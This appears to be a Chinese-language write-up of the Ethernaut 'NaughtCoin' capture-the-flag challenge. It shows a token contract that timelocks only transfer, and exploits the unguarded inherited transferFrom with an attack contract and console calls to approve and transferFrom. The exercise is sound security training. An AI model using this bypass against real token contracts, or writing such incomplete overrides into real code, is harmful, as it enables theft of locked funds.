源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import './ERC20.sol';
contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
分析:
离谱的事情又增加了,没想到漏洞居然是只重写了erc20的transfer方法没有重写transferfrom方法!!!
根据 ERC20 的标准我们也知道,转账有两个函数,一个transfer
一个transferFrom
,题目中代码只重写了transfer
函数,那未重写transferFrom
就是一个可利用的点了。
跟进ERC20Lib.sol
:
library ERC20Lib {
...
function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) {
self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
self.balances[_to] = self.balances[_to].plus(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
var _allowance = self.allowed[_from](msg.sender);
self.balances[_to] = self.balances[_to].plus(_value);
self.balances[_from] = self.balances[_from].minus(_value);
self.allowed[_from](msg.sender) = _allowance.minus(_value);
Transfer(_from, _to, _value);
return true;
}
...
function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
self.allowed[msg.sender](_spender) = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
可以直接调用这个transferFrom
即可了。但是transferFrom
有一步权限验证,要验证这个msg.sender
是否被_from
(实际上在这里的情景的就是自己是否给自己授权了),那么我们同时还可以调用 approve 给自己授权
攻击合约
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol";
contract NaughtWithdraw {
function withdrawFrom(address _tokenAddr, address _from, uint _amount) public {
bool success = IERC20(_tokenAddr).transferFrom(_from, address(this), _amount);
require(success, "failed!");
}
}
方法二:
await contract.approve('0xD5759D7b133E742D8D1C3784666d409385756b80',await contract.balanceOf(player))
await contract.transferFrom(player,contract.address,await contract.balanceOf(player))
await contract.balanceOf(player)